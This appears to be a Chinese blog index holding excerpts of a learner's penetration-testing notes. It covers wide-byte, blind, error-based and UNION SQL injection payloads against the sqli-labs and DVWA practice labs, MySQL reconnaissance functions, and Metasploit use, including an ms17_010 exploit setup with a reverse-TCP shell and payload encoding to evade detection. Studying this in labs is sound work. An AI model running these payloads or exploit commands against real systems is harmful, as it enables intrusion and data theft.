ZSSのW啥都学

宽字节注入原理什么是宽字节GB2312、GBK、GB18030、BIG5、Shift_JIS都是常见的宽字节编码 1个字节的字符，是短字节，所有的英文占1个字节 我们都知道1个字节占8位比如a二进制表示就是01011101，0和1组合有255种完全满足英文的 2个字节的字符，是宽字节，中文默认都是占两个字节的 如果我们用1个字节表示中文是远远不够的，所有要用两个字节 什么是宽字节注入 防御：有的网站会进行过滤，'给转换成\'绕过：将\给消灭掉 宽字节注入实战第32关 判断是否存在sql注入漏洞输入URL：http://192.168.0.108/Less-32/?id=1正常显示 下面加上'输入URL地址： http://192.168.0.108/Less-32/?id=1'这个他专门显示了被转换了\'我们就可以进行宽字节探测了添加%df输入URL：http://192.168.0.108/Less-32/?id=1%df'%df加\会变成運就没有\了 发现是可以注入点如果还是不确定可以用and 1=1来判断 输入UR ...

sql注入漏洞时间盲注原理根据时间来判断漏洞代码 不管你输入什么都不显示这个就很难检查出来sql注入漏洞我们就可以根据网站的延迟时间来判断是否查询sql注入漏洞和数据 sql注入漏洞时间盲注方法现在的数据库名是dvwa抛开的来说 sleep()函数他这个函数是延迟程序执行的代码 1select sleep(100); dai代码的意思是延迟100秒赞在执行 核心语法：就可以判断数据库名了 当前数据库名是dvwa 代码 1select if(left(database(),1)='a',0,sleep(3)); left()函数这个有说4. 网易web安全渗透， sql 布尔型盲注上面代码介绍意思判断是database()查询当前数据库名第1个字符比较正确直接返回0 错误就执行sleep(3)延迟3秒返回0结果是d 这个我输入a他延迟3秒说明不是a 我输入d他立刻就执行了说明就是d字符 真实场景：就可以判断数据库名了在真实场景网站可能要waf和其他机智就不让输入'就可以上一节学习到的substr()函数和ascii()函数在这个查看4. 网易 ...

再学Metasploit 之前学习的Metasploit没有写笔记都忘掉了，这次叫完整的学习内容记录下来 要是自己通过什么漏洞或者什么方式拿到了shell，但是这个shell不是很方便，比如叫他做查看目标的桌面。监听目标的麦克风，打开目标的摄像头，都是很难实现的，我们就可以使用Metasploit 他的工作方式 是完全在内存里面，不会写入硬盘里面，查杀硬盘的杀毒软件是无效的 他会注入到合法的进程里面 基于注入的进程上传和预加载DLL进行扩展模块的注入（客户端API） 基于注入的进程建立的socket连接建立加密的TLS通信隧道 利用TLS隧道进一步加载后续扩展模块（避免网络取证），这样就不能发现里面的传输的内容 客户端提供基于ruby的全特性的API ,他支持任何语言， 拿到的shell是这样的，就是Metasploit的shell Metasploit的shell文件操作这个shell 输入linux的命令也可以输入win系统命令也可以操控目标shell如果想操控kali自己加上l run和bgrun命令：多功能，拿到了目标的Metasploit的shell可以使用下面的模 ...

笔记sql注入漏洞布尔型盲注原理下面的代码不管你输入正确就显示Right，你输入错误显示Wrong没有其他的就是你不管输入什么就有两个结果这个我们就可以通过真和假来判断 他是怎么实现查询数据库的那zhao这个zhao是数据库名 1234567891011121314我进行猜他一个一个字符的猜他第一个字符是不是a返回Wrong第一个字符是不是z返回Right第二个字符是不是za返回Wrong第二个字符是不是zh返回Right等等。。。。。。。。 知道猜叫名猜出来 布尔型盲注方法left()函数left()函数是一个字符串函数，它返回具有指定长度的字符串的左边部分 left()函数进行注入数据库名称dvwa下面这个我用的是 database()查询当前数据库的， 判断第一个字符是什么代码 1select left(database(),1)='d'; 结果结果是d可以看见输入a是错的，输入d是对的 判断第二个字符是什么第一个字符是d以此类推到最后一个结果就出来了 regexp函数SQL中的正则表达式(regexp) regexp进行布尔型盲注数据库名称dvwa下面这个 ...

报错注入漏洞原理和应用 构造 payload(有效载荷)让信息通过错误提示回显出来 适合应用场景:进行注入查询不回现内容,会打印sql错误信息Update、 insert等语句,会打印错误信息 查看一下下面的代码可以看到 sql执行对了就打印出谢谢 sql执行错了就打印出sql的报错的信息 原理图 报错注入方法凡是可以让错误信息显示的函数(语句)，都能实现报错注入，这里我们列举3种，还有其他的 floor()函数报错注入下面使用的是users数据库sql语句 1select count(*) from users group by concat((select 要执行的sql语句),floor(rand(0)*2)); 上面代码分析 123456789floor()是取整数rand()在0和1之间产生一个随机数rand(0)*2将取0到2的随机数floor(rand()*2)有两条记录就会报错floor(rand(0)*2)记录需为3条以上，且3条以上必报错，返回的值是有规律的count(*)是用来统计结果的，相当于刷新一次结果group by在对数据进行分组时会先看看虚拟 ...

1. 多维数组 PHP - 多维数组和c语言的几乎一样array是创建数组的函数代码 123456789101112<?php$cars = array(array("a","b","c"),array("d","e","f"),array("g","h","i"),);echo $cars[0][0]."<br/>";echo $cars[1][0]."<br/>";echo $cars[2][0]."<br/>";?> 结果 2. PHP 日期和时间函数date()语法date(==必需规定时间戳的格式==，==可选规定时间戳默认是当前时间和日期==) 获得简单的日期d - 日m - 月Y - 年1 - 星期列 123456<?phpecho "今天是 " . da ...

1. sql union操作符union操作符是用于，并合两个或者多个select语句的结果注意,union内部的 select语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 select语句中的列的顺序必须相同默认情况,union操作符选取不同的值。如果允许重复的值,请使用 union ALL.。 2. 注入应用场景 只有最后一个 SELECT子句允许有 ORDER BY; 只有最后一个 SELECT子句允许有uMT; 只要UNON连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果 注入点页面有回显; sql注入流程图 ，下面就按照上面的流程进行注入 1.ORDER BY 判断列数ORDER BY 是用来排序的 进行排序这个ORDER BY 关键字经常用于sql注入的时候，根据错误，判断有几个表 列下面有6个表 判断有几个表 ORDER BY 7就报错了，应为他只有6个表 ORDER BY 6就对了 用sqli-labs进行测试输入4发现就报错了,那这样就判断 ...

靶场环境搭建环境环境搭建服务器软件是phpstudy下载地址https://www.xp.cn/靶场是sqli-labs下载地址是https://github.com/Audi-1/sqli-labs配置sqli-labs的sql密码 用php5和mysql5.7 成功 注入的常用的函数 select system_user(); 系统用户名 select user(); 　　当前数据库用户名 select current_user(); 　　当前用户名 select session_user(); 连接数据库的用户名 select version(); 数据库版本 select @@datadir; 数据库路径 select @@basedir; 数据库安装路径 select version() mysql; 　　数据库版本 select @@global.version_compile_os; 操作系统的信息 select @@version_compile_os; 操作系统的信息 select da ...

再学Metasploit之前学习的Metasploit没有写笔记都忘掉了，这次叫完整的学习内容记录下来payloadsexploit是指利用漏洞的一个过程，最终的目的是为了执行payloads即使我们不使用payload直接发给目标进行执行也是可以实现执行payloads 演示 查看payloads 1show payloads use payload/windows/shell_bind_tcp就拿个模块演示客户端运行 payloads就在本地监听端口叫攻击者去连接拿到shell下面就是他默认的配置，我们不需要修改就可以生成payloads了命令 1generate 下面生成的是ruby的16进行的payloads3. 生成出来的ruby的16进行的payloads里面可能有坏字符，导致程序不能执行长被称为坏字符\x00过滤坏字符的命令 1generate -b "要过滤的字符" 可以看到没有了发现文件变大了是应为编码后有可能1个字节变成2个字节了发现他使用了encoder他是默认去选择优秀的encoder4. 选择encoders查看有什么encode ...

再学Metasploit之前学习的Metasploit没有写笔记都忘掉了，这次叫完整的学习内容记录下来1. Active Exploit 主动的 某种服务器开放的端口，攻击者主动发起漏洞利用代码，比如反弹shell代码执行，拿到目标shell 主动的就是主动发起漏洞利用代码 演示 命令 12345678use exploit/windows/smb/ms17_010_psexecset RHOST 192.168.1.100 //目标ipset PAYLOAD windows/shell/reverse_tcp //一个反弹的shellset LHOST 192.168.1.1 //要反弹的那个ipset LPORT 4444 set SMBUSER 系统用户名set SMBPASS 系统密码exploit 2. Passive Exploit被动的​ 被攻击者是不存在漏洞的，漏洞存在客户端软件上，客户端访问远程服务器端的服务， ...